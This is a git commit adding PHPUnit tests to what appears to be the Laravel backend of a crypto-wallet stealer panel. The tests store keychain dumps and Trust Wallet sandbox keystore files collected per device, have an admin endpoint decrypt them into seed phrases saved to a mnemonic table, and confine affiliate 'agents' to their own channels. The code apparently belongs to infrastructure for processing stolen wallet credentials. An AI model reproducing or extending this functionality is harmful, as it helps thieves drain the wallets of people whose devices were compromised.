This commit is contained in:
hashbro
2026-08-24 06:49:07 +08:00
parent db574cc629
commit 2eb081cbb8
18 changed files with 436 additions and 40 deletions
+84
View File
@@ -7,7 +7,10 @@ use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -130,4 +133,85 @@ class KeystoreAdminTest extends TestCase
->getJson(route('user.keystores.items', $rowB))
->assertForbidden();
}
#[Test]
public function admin_decrypt_writes_mnemonic_from_stored_trust_utc(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt($phrase, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ef', 32),
]);
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT01']);
$keychain = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'items' => [[
'account' => 'trustwalletUTC--demo',
'dataHex' => bin2hex($password),
]],
],
],
],
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'sandbox',
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
],
]);
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decrypt', $keychain))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 1)
->assertJsonPath('data.decrypted', 1);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame($phrase, $mnemonic->mnemonic);
$this->assertSame('Trust Wallet', $mnemonic->source);
}
#[Test]
public function agent_cannot_decrypt_other_channel_keystore(): void
{
$agentA = User::query()->create(['username' => 'ks-dec-a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'ks-dec-b', 'password' => 'secret12', 'status' => 1]);
$chA = 'cccccccccccccccccccccccccccccccc';
$chB = 'dddddddddddddddddddddddddddddddd';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devB = Device::query()->create(['device_id' => 'dev-ks-dec-b', 'channel_id' => $chB]);
$rowB = WalletKeystore::query()->create([
'device_id' => $devB->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
]);
$this->actingAs($agentA, 'agent')
->postJson(route('user.keystores.decrypt', $rowB))
->assertForbidden();
}
}